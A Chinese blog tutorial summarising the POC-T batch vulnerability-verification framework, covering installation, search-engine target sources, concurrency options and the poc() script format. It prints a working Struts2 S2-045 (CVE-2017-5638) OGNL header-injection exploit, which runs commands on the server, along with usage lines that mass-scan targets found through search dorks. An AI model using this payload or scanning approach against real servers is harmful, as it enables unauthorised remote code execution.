POC-T框架学习————10、小总结

版权声明:严禁将博客中涉及到的技术用于恶意破坏,如果造成法律责任,博主概不负责! https://blog.csdn.net/Fly_hps/article/details/88018156

前言

本小节主要对POC-T框架的学习做一个小小的总结,顺便总结一下自己在源代码分析方面的认知。

需求分析

当互联网爆出高危漏洞或者团队内部挖到0day的时候,无论是甲方还是乙方都需要了解漏洞的影响面,这个时候就需要使用POC进行批量验证,而POC-T就孕育而生了,他不需要任何模板和继承,而且能够扩展其他功能,又能保证效率的最大化,不用每次写脚本都查文档格式,只需要“一个脚本,一条命令”花费三五分钟即可搞定!

简介与使用

数据高并发需求
要实现高效率批量操作,那么我们就要用到“数据并发处理”,而要实现这一点我们需要解决下面的三个关键点:

  • 数据:数据怎么来?
  • 处理:逻辑是什么?
  • 并发:如何实现?

设计思路

相关的脚本辅助工具

安装方法

git clone https://github.com/Xyntax/POC-T
pip install -r requirement.txt
python POC-T.py

功能参数说明

运行示例


 

数据来源

POC-T的数据来源很丰富,包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口(-aG、-aZ、-aS、),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中,同时你可以设置Google代理,参数--limit的作用则是用于限制搜索数目的:

数据处理逻辑

数据的处理逻辑也就是POC对漏洞的验证,在POC-T框架的script目录下面已经有很多作者维护的POC脚本了,我们可以利用--show参数来查看现有的POC验证脚本名

在加载参数时我们可以使用-s  POC名称来加载。

并发如何实现

POC-T框架的并发引擎有多线程(-eT)、协程(单线程异步-eG)来实现,而且有并发数量参数(-t)来指明并发的数量,默认值为10。

命令格式大致如下:

Python POC-T.py -s   POC模块 -aZ  “port:22” --limit 100

POC脚本编写

POC-T的验证脚本只需要一个poc()函数即可,成功就返回true或者自定义的信息,失败就返回False,除此之外没有任何限制。下面为POC-T的一个demo:

从上面我看可以看到一个POC的基本格式为:

def poc(input_str)

    try:

    ...全部脚本逻辑...

    except:

        return False

再如S2-045的POC验证程序:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = 24''

"""
Struts2 S2-045 Remote Code Execution PoC (CVE-2017-5638)

Version:
2.3.5-2.3.31, 2.5-2.5.10

Usage:
python POC-T.py -s struts2-s2045 -aG "inurl:login.action" --gproxy "http 127.0.0.1 1080"
python POC-T.py -s struts2-s2045 -aZ "login.action"
python POC-T.py -s struts2-s2045 -iF FILE.txt
"""

import requests
import random


def poc(url):
    if '://' not in url:
        url = 'http://' + url
    try:
        a = random.randint(10000000, 20000000)
        b = random.randint(10000000, 20000000)
        c = a + b
        win = 'set /a ' + str(a) + ' + ' + str(b)
        linux = 'expr ' + str(a) + ' + ' + str(b)

        header = dict()
        header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"] = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + win + "'):(#cmd='" + linux + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        r = requests.get(url, headers=header, timeout=5)
        if str(c) in r.text:
            return '[S2-045]'+url
        else:
            return False
    except Exception:
        return False

在运行时框架的每个线程都会调用poc这个函数,并把目标url复制给POC函数。

其他的功能

爆破:/script/burte-example.py
爬虫:/script/spider-example.py
旁站:/script/bingc.py

猜你喜欢

转载自blog.csdn.net/Fly_hps/article/details/88018156
POC